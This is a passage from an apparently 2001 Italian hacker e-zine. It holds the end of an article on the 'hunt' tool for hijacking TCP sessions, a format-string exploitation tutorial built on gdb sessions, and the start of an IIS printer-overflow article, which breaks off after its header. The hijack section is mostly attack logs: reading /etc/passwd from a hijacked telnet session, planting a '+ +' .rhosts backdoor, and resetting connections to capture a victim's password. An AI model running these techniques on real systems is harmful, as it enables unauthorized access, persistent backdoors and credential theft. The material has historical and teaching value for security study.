| [attacker@attacker hunt-1.5]# ./hunt |
| /* |
| * hunt 1.5 |
| * multipurpose connection intruder / sniffer for Linux |
| * (c) 1998-2000 by kra |
| */ |
| starting hunt |
| --- Main Menu --- rcvpkt 0, free/alloc 63/64 ------ |
| l/w/r) list/watch/reset connections |
| u) host up tests |
| a) arp/simple hijack (avoids ack storm if arp used) |
| s) simple hijack |
| d) daemons rst/arp/sniff/mac |
| o) options |
| x) exit |
| *> s |
| 0) 192.168.1.35 [34296] --> 192.168.1.34 [23] |
| |
| choose conn> 0 |
| dump connection y/n [n]> n |
| Enter the command string you wish executed or [cr]> cat /etc/passwd |
| c |
| [victim@target victim]$ ca |
| [victim@target victim]$ cat |
| [victim@target victim]$ cat |
| [victim@target victim]$ cat / |
| [victim@target victim]$ cat /e |
| [victim@target victim]$ cat /et |
| [victim@target victim]$ cat /etc |
| [victim@target victim]$ cat /etc/ |
| [victim@target victim]$ cat /etc/p |
| [victim@target victim]$ cat /etc/pa |
| [victim@target victim]$ cat /etc/pas |
| [victim@target victim]$ cat /etc/pass |
| [victim@target victim]$ cat /etc/passw |
| [victim@target victim]$ cat /etc/passwd |
| [victim@target victim]$ cat /etc/passwd |
| root:x:0:0:root:/root:/bin/bash |
| bin:x:1:1:bin:/bin: |
| daemon:x:2:2:daemon:/sbin: |
| adm:x:3:4:adm:/var/adm: |
| lp:x:4:7:lp:/var/spool/lpd: |
| sync:x:5:0:sync:/sbin:/bin/sync |
| shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown |
| halt:x:7:0:halt:/sbin:/sbin/halt |
| mail:x:8:12:mail:/var/spool/mail: |
| news:x:9:13:news:/var/spool/news: |
| uucp:x:10:14:uucp:/var/spool/uucp: |
| operator:x:11:0:operator:/root: |
| games:x:12:100:games:/usr/games: |
| gopher:x:13:30:gopher:/usr/lib/gopher-data: |
| postgres:x:40:41:PostgreSQL Server:/var/lib/pgsql:/bin/bash |
| ftp:x:14:50:FTP User:/var/ftp: |
| gdm:x:42:42:GDM User:/var/lib/gdm: |
| htdig:x:51:51:HTDIG User:/var/www/html/htdig: |
| dhcpd:x:19:19:Dhcpd User:/var/dhcpd: |
| named:x:25:25:Bind User:/var/named: |
| nscd:x:28:28:NSCD Daemon:/:/bin/false |
| apache:x:48:48:Apache User:/var/www: |
| rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/bin/false |
| rpc:x:32:32:Portmapper RPC user:/:/bin/false |
| sympa:x:89:89:Sympa Mailing list manager:/var/lib/sympa:/bin/bash |
| nobody:x:99:99:Nobody:/: |
| alias:x:400:401:qmail alias user:/var/qmail/alias:/bin/true |
| qmaild:x:401:401:qmaild user:/var/qmail:/bin/true |
| qmaill:x:402:401:qmaill user:/var/qmail:/bin/true |
| qmailp:x:403:401:qmailp user:/var/qmail:/bin/true |
| qmailq:x:404:400:qmailq user:/var/qmail:/bin/true |
| qmailr:x:405:400:qmailr user:/var/qmail:/bin/true |
| qmails:x:406:400:qmails user:/var/qmail:/bin/true |
| dnscache:x:410:405:dnscache user:/var/djbdns:/bin/true |
| dnslog:x:411:405:dnslog user:/var/djbdns:/bin/true |
| tinydns:x:412:405:tinydns user:/var/djbdns:/bin/true |
| axfrdns:x:413:405:axfrdns user:/var/djbdns:/bin/true |
| xfs:x:414:414:X Font Server:/etc/X11/fs:/bin/false |
| victim:x:501:501:victim:/home/victim:/bin/bash |
| [victim@target victim]$ |
| [victim@target victim]$ Enter the command string you wish executed or [cr]> |
| [r]eset connection/[s]ynchronize/[n]one [r]> r |
| done |
| --- Main Menu --- rcvpkt 3987, free/alloc 63/64 ------ |
| l/w/r) list/watch/reset connections |
| u) host up tests |
| a) arp/simple hijack (avoids ack storm if arp used) |
| s) simple hijack |
| d) daemons rst/arp/sniff/mac |
| o) options |
| x) exit |
| *> |
| |
| In tal modo abbiamo attenuto il password file, non è /etc/shadow ma è già |
| qualcosa :) |
| |
| ARP/Simple Hijack |
| Scongiura il problema dell'ACK storm, permette di manipolare il flusso di |
| dati della sessione desiderata. E' possibile effettuare un ARP spoofing per |
| entrambi i capi della connessione (victim e target), per uno solo dei due o |
| per nessuno di essi a seconda delle proprie esigenze. E' caldamente |
| raccomandato l'uso dell'ARP relayer nel caso in cui si opti per un ARP |
| s
poofing che coinvolge ambo i capi della connessione, esso impedisce di |
| influire sulle altre sessioni in gioco tra i due host provvedendo al loro |
| reinstradamento. |
| Viceversa, immaginiamo di optare per una soluzione che preveda unicamente |
| l'ARP spoofing dell'host victim, le sole connessioni affette saranno quelle |
| dirette verso tale host. |
| L'uso di questa modalità occulta l'operato dell'attacker che può agire |
| indisturbato, la sessione victim rimane momentaneamente congelata a causa |
| della desincronizzazione; terminato il dirottamento di sessione è possibile |
| decidere di resettare o sincronizzare la connessione (spiegato in seguito). |
| Possiamo servirci di tale attacco per eseguire comandi arbitrari sul sistema |
| |
| target usufruendo dei privilegi associati all'user victim, nel prossimo |
| esempio piazzeremo una backdoor: |
| |
| [attacker@attacker hunt-1.5]# ./hunt |
| /* |
| * hunt 1.5 |
| * multipurpose connection intruder / sniffer for Linux |
| * (c) 1998-2000 by kra |
| */ |
| starting hunt |
| --- Main Menu --- rcvpkt 0, free/alloc 63/64 ------ |
| l/w/r) list/watch/reset connections |
| u) host up tests |
| a) arp/simple hijack (avoids ack storm if arp used) |
| s) simple hijack |
| d) daemons rst/arp/sniff/mac |
| o) options |
| x) exit |
| *> a |
| 0) 192.168.1.35 [34301] --> 192.168.1.34 [23] |
| |
| choose conn> 0 |
| arp spoof src in dst y/n [y]> y |
| src MAC [EA:1A:DE:AD:BE:01]> |
| arp spoof dst in src y/n [y]> y |
| dst MAC [EA:1A:DE:AD:BE:02]> |
| input mode [r]aw, [l]ine+echo+\r, line+[e]cho [r]> r |
| dump connectin y/n [y]> n |
| press key to take over of connection |
| you took over the connection |
| CTRL-] to break |
| e |
| [victim@target victim]$ ec |
| [victim@target victim]$ ech |
| [victim@target victim]$ echo |
| [victim@target victim]$ echo |
| [victim@target victim]$ echo + |
| [victim@target victim]$ echo + |
| [victim@target victim]$ echo + + |
| [victim@target victim]$ echo + + |
| [victim@target victim]$ echo + + > |
| [victim@target victim]$ echo + + >> |
| [victim@target victim]$ echo + + >> |
| [victim@target victim]$ echo + + >> ~ |
| [victim@target victim]$ echo + + >> ~/ |
| [victim@target victim]$ echo + + >> ~/. |
| [victim@target victim]$ echo + + >> ~/.r |
| [victim@target victim]$ echo + + >> ~/.rh |
| [victim@target victim]$ echo + + >> ~/.rho |
| [victim@target victim]$ echo + + >> ~/.rhos |
| [victim@target victim]$ echo + + >> ~/.rhost |
| [victim@target victim]$ echo + + >> ~/.rhosts |
| [victim@target victim]$ echo + + >> ~/.rhosts |
| [victim@target victim]$ |
| |
| Cosa aspettate? Non vi resta che collegarvi a target con un client rlogin |
| (qualsiasi r-commands), avrete accesso al sistema senza bisogno di |
| specificare alcuna password. |
| |
| Connection Reset |
| Permette di forgiare un pacchetto in grado di resettare la sessione corrente |
| |
| tra i sistemi victim e target (flag RST attivo), non si pone il problema |
| della predizione del numero sequenziale in quanto la sessione è sniffata |
| integralmente dal tool stesso. |
| Una buona tecnica è quella di resettare la connessione tra i due host al |
| fine di forzare victim ad effettuare nuovamente l'autenticazione che potrà |
| venir sniffata per mezzo dell'opzione watch, vediamo l'esempio: |
| |
| [attacker@attacker hunt-1.5]# ./hunt |
| /* |
| * hunt 1.5 |
| * multipurpose connection intruder / sniffer for Linux |
| * (c) 1998-2000 by kra |
| */ |
| starting hunt |
| --- Main Menu --- rcvpkt 0, free/alloc 63/64 ------ |
| l/w/r) list/watch/reset connections |
| u) host up tests |
| a) arp/simple hijack (avoids ack storm if arp used) |
| s) simple hijack |
| d) daemons rst/arp/sniff/mac |
| o) options |
| x) exit |
| *> r |
| 0) 192.168.1.35 [33322] --> 192.168.1.34 [23] |
| |
| choose conn> 0 |
| reset [s]rc/[d]st/[b]oth [b]> b |
| done |
| --- Main Menu --- rcvpkt 3992, free/alloc 63/64 ------ |
| l/w/r) list/watch/reset connections |
| u) host up tests |
| a) arp/simple hijack (avoids ack storm if arp used) |
| s) simple hijack |
| d) daemons rst/arp/sniff/mac |
| o) options |
| x) exit |
| *> w |
| 0) 192.168.1.35 [33409] --> 192.168.1.34 [23] |
| |
| choose conn> 0 |
| dump [s]rc/[d]st/[b]oth [b]> s |
| |
| |
| CTRL-C to break |
| victim |
| secret |
| |
| Agli occhi della vittima il tutto apparirà così: |
| |
| [victim@victim victim]$ telnet 192.168.1.34 |
| Trying 192.168.1.34... |
| Connected to 192.168.1.34. |
| Escape character is '^]'. |
| Welcome to target.workgroup.com |
| Linux Mandrake release 8.0 (Traktopel) for i586 |
| Kernel 2.4.3-20mdk on an i686 |
| login: victim |
| Password: |
| Last login: Mon Oct 29 09:34:26 from 192.168.1.35 |
| [victim@target victim]$ |
| [victim@target victim]$ Connection closed by foreign host. |
| [victim@victim victim]$ telnet 192.168.1.34 |
| Trying 192.168.1.34... |
| Connected to 192.168.1.34. |
| Escape character is '^]'. |
| Welcome to target.workgroup.com |
| Linux Mandrake release 8.0 (Traktopel) for i586 |
| Kernel 2.4.3-20mdk on an i686 |
| login: victim |
| Password: |
| Last login: Mon Oct 29 09:39:31 from 192.168.1.35 |
| [victim@target victim]$ |
| |
| |
| Connection Synchronization |
| Tale operazione si rende necessaria nel qual caso l'attacker non si limiti |
| nello sniffing della sessione ma proceda nell'inserimento di dati nel flusso |
| |
| TCP, in questo caso si verificherebbe una desincronizzazione tra l'host |
| victim e target. L'attacker può così decidere di resettare la connessione |
| oppure procedere alla sua sincronizzazione. |
| Nel secondo caso Hunt cercherà di "riallineare" la sessione, tale azione da |
| modo ai due host di riprendere il controllo della connessione |
| precedentemente interrotta dal dirottamento. |
| |
| Switch/Segment traffic rerouting |
| Grazie alla tecnica conosciuta con il nome di ARP spoofing permette di |
| aggirare i problemi derivanti da un'implementazione di una rete switchata, |
| forza lo switch a instradare il traffico diretto verso un certo host in un |
| altro segmento di rete. |
| |
| E4zy vi saluta e vi augura buon divertimento :) |
| |
| Bibliografia: |
| |
| CERT Advisory CA-1995-01 IP Spoofing Attack and Hijacked Terminal |
| Connections |
| RFC 793 - Transmission Control Protocol |
| TCP/IP Guida Completa - Apogeo |
| Hunt v.1.5 README |
| |
| |
| |
+-------------------------------------------------------------------------------+
+-------------------------------------------------------------------------------+
| ONDAQUADRA ~ [LiNUX] #04 - 19/11/2001 |
| LA LUNGA ST0RiA DELL'EXPL0iT DEL DEM0NE RPC.STATD [xyzzy] 0x0A/0x23 |
+-------------------------------------------------------------------------------+
| |
| |
| ovvero |
| |
| come scriversi il proprio exploit personale in tre puntate (...o forse piu' |
| :) |
| |
| *************** Seconda Puntata *************** |
| |
| 3. L'exploit |
| |
| E cosi' adesso volete vedere come si riesce ad eseguire un programma su una |
| macchina remota attraverso l'invio di una stringa di caratteri |
| apparentemente |
| innocua, eh? Bene! Siete capitati nel posto giusto! Tutto quello di cui |
| avremo |
| bisogno e': |
| |
| - una conoscenza "decente" dei meccanismi che governano la gestione dello |
| stack |
| - una certa quale dimestichezza con i concetti e gli strumenti di debugging |
| (gdb |
| prima di tutti) |
| - una macchina linux disponibile (personalmente ho lavorato su ua Red Hat |
| 7.1, |
| quindi gli esempi sono funzionanti *certamente* su questa distribuzione, |
| ma |
| immagino siano assolutamente trasportabili su molte altre) |
| - tanta, tanta, tanta buona volonta' e voglia di capire (la stessa che ha |
| animato |
| me quando, in presenza di un sistema violato, ho voluto andare in fondo a |
| questa storia ;) |
| |
| Ok, verificato che disponiamo di tutte queste cose, cominciamo pure le danze |
| ;) |
| |
| Si parte! |
| |
| |
| 3.1. Principio tecnico |
| |
| Qualsiasi processo in esecuzione utilizza delle zone di menoria per |
| conservare le |
| informazioni necessarie al suo funzionamento; parliamo non soltanto di |
| valori |
| variabili durante l'esecuzione, ma anche di codice eseguibile che deve |
| giocoforza |
| essere caricato in memoria e solo successivamente puo' venire eseguito dalla |
| CPU. |
| Le zone di memoria in cui queste informazioni vengono mantenute prende il |
| nome di |
| "spazio di indirizzamento del processo" e la sua gestione e' a completa |
| discrezione |
| del kernel. Tuttavia, per mantenere un certo livello di astrazione, il |
| kernel si |
| occupa di "virtualizzare" gli indirizzi: mentre il processo "vede" certe |
| variabili |
| a certi indirizzi (sempre uguali, dal suo punto di vista) il kernel si |
| occupa di |
| gestire l'indirizzamento effettivo in memoria utilizzando tecniche di |
| "mapping" |
| degli indirizzi e facendo corrispondere gli indirizzi "fissi" del processo |
| ad |
| altrettanti indirizzi della memoria fisica, variandone i valori a seconda |
| delle |
| varie condizioni. Ad esempio, lo stesso processo puo' venire caricato in |
| zone di |
| memoria fisica differenti nel momento in cui venga temporaneamente |
| parcheggiato su |
| disco per liberare memoria fisica in quel momento necessaria all'esecuzione |
| di |
| processi piu' "importanti", mediante l'operazione comunemente conosciuta con |
| il |
| nome di "swapping". Non entreremo piu' di tanto in queste questioni; a noi |
| basta |
| sapere che esistono zone di memoria alle quali i processi possono fare |
| riferimento |
| attraverso un indirizzamento che resta, dal loro punto di vista, costante e |
| questo |
| e' alla base dell'exploit che analizzeremo. |
| |
| |
| |
| 3.1.1. Analisi dei due exploit principalmente utilizzati |
| |
| Premessa: ogni exploit deriva sempre ed incondizionatamente da un ERRORE di |
| programmazione, non importa quanto in buona fede. Sostanzialmente |
| si tratta di una mancanza di controlli sugli input ricevuti |
| dall'esterno siano essi relativi alla dimensione dell'input |
| ricevuto |
| (buffer overflow) oppure al "significato" dell'input stesso |
| (validazione |
| dell'input vera e propria, da cui derive la possibilita' di |
| sovrascrivere |
| zone dello stack) |
| |
| Buffer overflow: piu' "semplice", sostanzialmente in grado di sovrascrivere |
| lo stack |
| attraverso la concatenazione di stringhe eccessivamente lunghe |
| |
| Input validation: utilizzando opportune tecniche (l'operatore "%n" in una |
| chiamata a |
| qualche funzione che realizzi un output; esempi di tali funzioni sono la |
| printf, la |
| syslog, la sprintf e cosi' via) si riesce a sovrascrivere l'indirizzo di |
| ritorno |
| della routine, permettendo pertanto l'esecuzione di codice "arbitrario" |
| |
| |
| |
| |
| 3.1.2. Punti in comune |
| |
| |
| Tutti e due questi tipi di exploit mirano ad un unico obiettivo: riuscire a |
| modificare |
| le informazioni del processo in modo tale da fargli eseguire delle |
| istruzioni diverse |
| da quelle che normalmente eseguirebbe. Il massimo obiettivo e' quello di |
| fare eseguire |
| un codice specificato direttamente dall'attaccante, ottenendo in tal modo il |
| pieno |
| controllo del comportamento del processo stesso (vi lascio immaginare cosa |
| questo |
| voglia dire se ci si trova in presenza di un processo eseguito con i massimi |
| privilegi... ;) |
| |
| |
| |
| 3.1.3. Differenze |
| |
| |
| La tecnica del "buffer overflow" si basa sostanzialmente su di un errore di |
| programmazione, sulla base del quale una concatenazione o una copia di |
| stringhe si |
| presenta (ripeto, a causa di un errore di programmazione) come una stringa |
| molto piu' |
| lunga di quanto atteso, con il rislutato di sovrascrivere zone di memoria |
| inattese |
| (solitamente lo stack). |
| |
| A differenza delle prime, le tecniche basaste sulla mancanza di "input |
| validation" |
| si basano sostanzialmente non tanto su un errore di programmazione quanto su |
| un mancato |
| controllo della validita' SEMANTICA di una stringa ricevuta in ingresso, con |
| la |
| spiacevole conseguenza di lasciare "aperta" una possibilita' ad eventuali |
| attaccanti... |
| possibilita' che, come vedremo, viene sfruttata a piene mani... ;) |
| |
| |
| |
| 3.2. Un esempio "step-by-step" di exploit basato sulla mancata validazione |
| dell'input |
| |
| 3.2.1. Cosa c'e' sullo stack? |
| |
| |
| Per meglio spiegare i concetti che vedremo di seguito, invito tutti quanti |
| ad una serie |
| di sessioni pratiche, a cominciare da ADESSO! |
| |
| |
| Dotiamoci di una macchina linux e con il nostro editor preferito creiamo il |
| file prova1.c |
| inserendo il seguente codice in linguaggio "C" |
| |
| main () |
| { |
| char buffer[4096]; |
| int i; |
| |
| bzero (buffer, 4096); |
| |
| for (i = 0; i < 64; i++) |
| buffer[i] = ' ' + i; |
| |
| printf (buffer); |
| } |
| |
| Fatto? Bene. Adesso compiliamo il programma con l'istruzione |
| |
| # gcc -g -o prova1 prova1.c |
| |
| ATTENZIONE! E' importante lo switch "-g" che indica al compilatore di |
| mantenere valide |
| le informazioni per una successiva fase di debugging. |
| |
| Ok, adesso eseguiamo il programma ottenuto, controllandone il comportamento |
| con il |
| debugger mediante il comando |
| |
| # gdb prova1 |
| |
| La parte che segue viene estratta direttamente dalla sessione pratica, |
| inframmezzando |
| le operazioni con i rispettivi commenti. |
| |
| |
| # gdb prova1 |
| GNU gdb 5.0 |
| Copyright 2000 Free Software Foundation, Inc. |
| GDB is free software, covered by the GNU General Public License, and you are |
| welcome to change it and/or distribute copies of it under certain |
| conditions. |
| Type "show copying" to see the conditions. |
| There is absolutely no warranty for GDB. Type "show warranty" for details. |
| This GDB was configured as "i386-redhat-linux"... |
| (gdb) b main |
| Breakpoint 1 at 0x8048495: file prova1.c, line 7. |
| (gdb) r |
| Starting program: /root/Ondaquadra/prova1 |
| |
| Breakpoint 1, main () at prova1.c:7 |
| 7 bzero (buffer, 4096); |
| (gdb) x $sp |
| 0xbfffea50: 0x000001e7 |
| (gdb) x buffer |
| 0xbfffea60: 0x000006d8 |
| (gdb) x /10 $sp |
| 0xbfffea50: 0x000001e7 0x000007f5 0x000006ea 0x00000305 |
| 0xbfffea60: 0x000006d8 0x00000779 0x000002b7 0x000004cc |
| 0xbfffea70: 0x00000000 0x00000000 |
| (gdb) n |
| 9 for (i = 0; i < 64; i++) buffer[i]=' ' + i; |
| (gdb) n |
| 11 printf (buffer); |
| (gdb) x /10 $sp |
| 0xbfffea50: 0x000001e7 0x000007f5 0x000006ea 0x00000040 |
| 0xbfffea60: 0x23222120 0x27262524 0x2b2a2928 0x2f2e2d2c |
| 0xbfffea70: 0x33323130 0x37363534 |
| (gdb) |
| |
| |
| A questo punto controlliamo l'espansione del programma in linguaggio |
| assembler |
| |
| |
| (gdb) disass |
| Dump of assembler code for function main: |
| 0x804848c <main>: push %ebp |
| 0x804848d <main+1>: mov %esp,%ebp |
| 0x804848f <main+3>: sub $0x1018,%esp |
| 0x8048495 <main+9>: sub $0x8,%esp |
| 0x8048498 <main+12>: push $0x1000 |
| 0x804849d <main+17>: lea 0xffffeff8(%ebp),%eax |
| 0x80484a3 <main+23>: push %eax |
| 0x80484a4 <main+24>: call 0x8048398 <bzero> |
| 0x80484a9 <main+29>: add $0x10,%esp |
| 0x80484ac <main+32>: movl $0x0,0xffffeff4(%ebp) |
| 0x80484b6 <main+42>: mov %esi,%esi |
| 0x80484b8 <main+44>: cmpl $0x3f,0xffffeff4(%ebp) |
| 0x80484bf <main+51>: jle 0x80484c4 <main+56> |
| 0x80484c1 <main+53>: jmp 0x80484e8 <main+92> |
| 0x80484c3 <main+55>: nop |
| 0x80484c4 <main+56>: lea 0xffffeff8(%ebp),%eax |
| 0x80484ca <main+62>: mov %eax,%ecx |
| 0x80484cc <main+64>: mov 0xffffeff4(%ebp),%edx |
| 0x80484d2 <main+70>: mov 0xffffeff4(%ebp),%al |
| 0x80484d8 <main+76>: add $0x20,%eax |
| 0x80484db <main+79>: mov %al,(%edx,%ecx,1) |
| 0x80484de <main+82>: lea 0xffffeff4(%ebp),%eax |
| ---Type <return> to continue, or q <return> to quit--- |
| 0x80484e4 <main+88>: incl (%eax) |
| 0x80484e6 <main+90>: jmp 0x80484b8 <main+44> |
| 0x80484e8 <main+92>: sub $0xc,%esp |
| 0x80484eb <main+95>: lea 0xffffeff8(%ebp),%eax |
| 0x80484f1 <main+101>: push %eax |
| 0x80484f2 <main+102>: call 0x8048378 <printf> |
| 0x80484f7 <main+107>: add $0x10,%esp |
| 0x80484fa <main+110>: leave |
| 0x80484fb <main+111>: ret |
| End of assembler dump. |
| (gdb) |
| |
| |
| Notiamo subito che gli indirizzi di memoria appartenenti al range |
| 0x804848c-0x80484fb |
| appartengono al codice eseguibile, mentre quelli del range |
| 0xbfffea50-0xbfffea80 |
| fanno parte dello stack. Tramite gli opportuni comandi di gdb e' possibile |
| esaminare |
| a nostro piacimento il contenuto di questi spazi di indirizzamento. A titolo |
| di |
| studio, impostiamo un breakpoint all'inizio della funzione printf ed |
| eseguiamo il |
| programma fino a quel punto |
| |
| (gdb) b printf |
| Breakpoint 2 at 0x40080d76: file printf.c, line 30. |
| (gdb) c |
| Continuing. |
| |
| Breakpoint 2, printf ( |
| format=0xbfffea60 " |
| !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[ |
| \\]^_") at printf.c:30 |
| 30 printf.c: File o directory inesistente. |
| (gdb) |
| |
| |
| |
| benissimo. ora possiamo prendere atto di che cosa vi sia effettivamente |
| sullo stack; |
| commenteremo insieme il suo contenuto |
| |
| |
| (gdb) x/20 $sp |
| 0xbfffea2c: 0xbfffea60 0x40080d64 0x40143824 0xbffffa68 |
| 0xbfffea3c: 0x080484f7 0xbfffea60 0x00001000 0x000007e3 |
| 0xbfffea4c: 0x000006c4 0x000001e7 0x000007f5 0x000006ea |
| 0xbfffea5c: 0x00000040 0x23222120 0x27262524 0x2b2a2928 |
| 0xbfffea6c: 0x2f2e2d2c 0x33323130 0x37363534 0x3b3a3938 |
| (gdb) |
| |
| |
| notiamo che il buffer (0xbfffea60) e' effettivamente sullo stack ad un certo |
| numero |
| di indirizzi successivi a quelli dei parametri della funzione printf |
| (0xbfffea40), |
| cosi' si puo' approfittare della cosa inserendo opportunamente i vari |
| formattatori |
| per fare in modo che il contenuto del buffer al suo inizio possa essere |
| usato come |
| puntatore per il formattatore %n, mettendo l'indirizzo (0xbfffea3c) che |
| contiene |
| l'indirizzo di ritorno della funzione printf |
| |
| |
| |
| |
| |
| 3.2.2. L'idea alla base di tutto |
| |
| |
| L'idea e' quella di passare nel buffer una serie di operatori di |
| formattazione in |
| modo tale da far "credere" alla funzione di output che esistano altri |
| argomenti; |
| poiche' la funzione estrarra' tali argomenti direttamente dallo stack, |
| calcolando |
| correttamente il numero di detti argomenti fittizi sara' possibile |
| utilizzare dei |
| valori contenuti nel buffer stesso, che e' memorizzato dopo un certo numero |
| di byte. |
| |
| |
| |
| |
| A titolo di esempio di come questo possa avvenire, provate a seguire queste |
| due |
| simpatiche sessioni, con codici derivati da quello precedente |
| |
| # cat prova2.c |
| |
| main () |
| { |
| char buffer [4096]; |
| int i; |
| |
| bzero (buffer, 4096); |
| |
| for (i = 0; i < 10; i++) strcat (&buffer[i*3], "%x\n"); |
| |
| printf (buffer); |
| } |
| # |
| |
| qui riempiamo il buffer con dieci formattatori che si aspettano pertanto di |
| trovare |
| dieci argomenti nella chiamata alla printf; poiche', pero', noi non abbiamo |
| specificato null'altro che il buffer, i dicei argomenti verranno estratti |
| dallo stack, |
| senza nessuna considerazione di cosa veramente vi sia contenuto. Il |
| risultato sara'... |
| |
| # gcc -g -o prova2 prova2.c |
| # gdb prova2 |
| GNU gdb 5.0 |
| Copyright 2000 Free Software Foundation, Inc. |
| GDB is free software, covered by the GNU General Public License, and you are |
| welcome to change it and/or distribute copies of it under certain |
| conditions. |
| Type "show copying" to see the conditions. |
| There is absolutely no warranty for GDB. Type "show warranty" for details. |
| This GDB was configured as "i386-redhat-linux"... |
| |
| |
| imposto una interruzione nella chiamata della printf ed eseguo fino a quel |
| punto |
| |
| (gdb) b printf |
| Breakpoint 1 at 0x80483ac |
| (gdb) r |
| Starting program: /root/Ondaquadra/prova2 |
| Breakpoint 1 at 0x40080d76: file printf.c, line 30. |
| |
| Breakpoint 1, printf ( |
| format=0xbfffea60 "%x\n%x\n%x\n%x\n%x\n%x\n%x\n%x\n%x\n%x\n") |
| at printf.c:30 |
| 30 printf.c: File o directory inesistente. |
| |
| |
| |
| esamino lo stack |
| |
| |
| (gdb) x/20 $sp |
| 0xbfffea2c: 0x080485a4 0x40080d64 0x40143824 0xbffffa68 |
| 0xbfffea3c: 0x08048537 0xbfffea60 0x080485a4 0x000007e3 |
| 0xbfffea4c: 0x000006c4 0x000001e7 0x000007f5 0x000006ea |
| 0xbfffea5c: 0x0000000a 0x250a7825 0x78250a78 0x0a78250a |
| 0xbfffea6c: 0x250a7825 0x78250a78 0x0a78250a 0x250a7825 |
| |
| |
| ok, proseguiamo e... |
| |
| |
| (gdb) c |
| Continuing. |
| 80485a4 |
| 7e3 |
| 6c4 |
| 1e7 |
| 7f5 |
| 6ea |
| a |
| 250a7825 |
| 78250a78 |
| a78250a |
| |
| Program exited with code 070. |
| (gdb) q |
| # |
| |
| |
| BINGO!!! La funzione printf ha appena stampato il contenuto delle dieci |
| locazioni |
| di memoria da 0xbfffea44 a 0xbfffea68, cioe' le locazioni IMMEDIATAMENTE |
| successive |
| a quella che conteneva l'unico parametro passato alla printf stessa. Da |
| notare che |
| gli ultimi valori sono IL CONTENUTO DEL BUFFER STESSO!!! Mooooolto |
| importante! :) |
| |
| |
| Proseguiamo adesso con il secondo esempio, ancora piu' interessante |
| |
| |
| # cat prova3.c |
| |
| main () |
| { |
| char buffer [4096]; |
| int i; |
| |
| bzero (buffer, 4096); |
| |
| |
| strcat (buffer, "12345 %n\n"); |
| |
| |
| printf (buffer, &i); |
| } |
| # |
| |
| qui abbiamo inserito il formattatore %n che ha come risultato quello di |
| SCRIVERE |
| ALL'INDIRIZZO CHE TROVA COME ARGOMENTO il numero di caratteri fino a quel |
| momento |
| stampato in output. Per comprendere meglio, abbiamo anche fornito un |
| indirizzo |
| valido (l'argomento &i successivo) in modo da dimostrare la funzionalita' |
| del |
| formattatore in esame. |
| |
| |
| # gcc -g -o prova3 prova3.c |
| # |
| # gdb prova3 |
| GNU gdb 5.0 |
| Copyright 2000 Free Software Foundation, Inc. |
| GDB is free software, covered by the GNU General Public License, and you are |
| welcome to change it and/or distribute copies of it under certain |
| conditions. |
| Type "show copying" to see the conditions. |
| There is absolutely no warranty for GDB. Type "show warranty" for details. |
| This GDB was configured as "i386-redhat-linux"... |
| (gdb) b main |
| Breakpoint 1 at 0x80484c5: file prova3.c, line 7. |
| (gdb) r |
| Starting program: /root/Ondaquadra/prova3 |
| |
| Breakpoint 1, main () at prova3.c:7 |
| 7 bzero (buffer, 4096); |
| (gdb) p i |
| $1 = 773 |
| (gdb) p &i |
| $2 = (int *) 0xbfffea5c |
| |
| |
| benissimo: la variabile i vale 773 (un valore casuale presente sullo stack) |
| ed il |
| suo indirizzo e' 0xbfffea5c. |
| |
| |
| (gdb) b printf |
| Breakpoint 2 at 0x40080d76: file printf.c, line 30. |
| (gdb) c |
| Continuing. |
| |
| Breakpoint 2, printf (format=0xbfffea60 "12345 %n\n") at printf.c:30 |
| 30 printf.c: File o directory inesistente. |
| |
| ok. siamo nella printf. esaminiamo il contenuto dello stack |
| |
| |
| (gdb) x/20 $sp |
| 0xbfffea2c: 0x0804857c 0x40080d64 0x40143824 0xbffffa68 |
| 0xbfffea3c: 0x08048509 0xbfffea60 0xbfffea5c 0x000007e3 |
| 0xbfffea4c: 0x000006c4 0x000001e7 0x000007f5 0x000006ea |
| 0xbfffea5c: 0x00000305 0x34333231 0x6e252035 0x0000000a |
| 0xbfffea6c: 0x00000000 0x00000000 0x00000000 0x00000000 |
| |
| |
| qui si vede come nella locazione 0xbfffea40 sia memorizzato l'indirizzo del |
| buffer (0xbfffea60) ed in quella successiva sia memorizzato l'indirizzo |
| della |
| variabile i, in modo tale che il formattatore %n trovi un indirizzo valido. |
| |
| (gdb) n |
| 31 in printf.c |
| (gdb) n |
| 12345 |
| 35 in printf.c |
| |
| ecco fatto! In output vediamo solo i primi caratteri del buffer (ovviamente) |
| ma |
| nella realta' la printf ha anche scritto il numero di caratteri finora |
| stampati |
| (e cioe' sei, vi ricordo IL BLANK prima del formattatore vero e proprio) |
| all'indirizzo |
| trovato come argomento sullo stack, ossia nella variabile i |
| |
| |
| (gdb) n |
| 34 in printf.c |
| (gdb) n |
| 35 in printf.c |
| (gdb) n |
| main () at prova3.c:14 |
| 14 } |
| (gdb) p i |
| $4 = 6 |
| |
| |
| come volevasi dimostrare! :) |
| |
| |
| (gdb) c |
| Continuing. |
| |
| Program exited with code 07. |
| (gdb) q |
| # |
| |
| A questo punto risulta chiaro che abbiamo tutti gli strumenti e tutte le |
| informazioni per potere fare qualcosa di davvero molto interessante. |
| Ricapitoliamo: |
| |
| - sappiamo come "navigare" lo stack inserendo ad arte un numero opportuno di |
| formattatori di tipo %x |
| |
| - sappiamo come utilizzare il formattatore %n per scrivere valori in zone di |
| memoria il cui indirizzo sia sullo stack |
| |
| - sappiamo che il nostro buffer e' fisicamente presente sullo stack in una |
| posizione che ci permette di raggiungerlo con una sapiente sequenza di |
| formattatori |
| |
| ...non devo aggiungere altro, mi pare, no? :) |
| |
| ed infatti per questa punt
ata non lo faro'. Lascio a voi il piacere di |
| sperimentare |
| le tecniche appena analizzate e, proprio per i piu' pigri, la prossima volta |
| vi |
| forniro' le ultime informazioni necessarie per completare l'opera (ma il |
| riuscirci |
| da soli sarebbe davvero una soddisfazione non da poco... o sbaglio? ;) ;) ;) |
| |
| |
| ...alla prossima |
| |
| |
| xyzzy |
| |
| |
| |
+-------------------------------------------------------------------------------+
+-------------------------------------------------------------------------------+
| ONDAQUADRA ~ [L'ANG0L0 DEGLi EXPL0iT] #04 - 19/11/2001 |
| IIS 5.0 PRiNTER 0VERFL0W [MightyInquisitor] 0x0B/0x23 |
+-------------------------------------------------------------------------------+
| |
| Titolo: IIS 5.0 PRINTER OVERFLOW |
| Autore: MightyInquisitor |
| Home-page: www.mightyinquisitor.cjb.net |
| E-mail: mightyinquisitor@mightyinquisitor.cjb.net |
| Irc: irc.azzurranet.org - canale: #hackmaniaci |
| |
| |
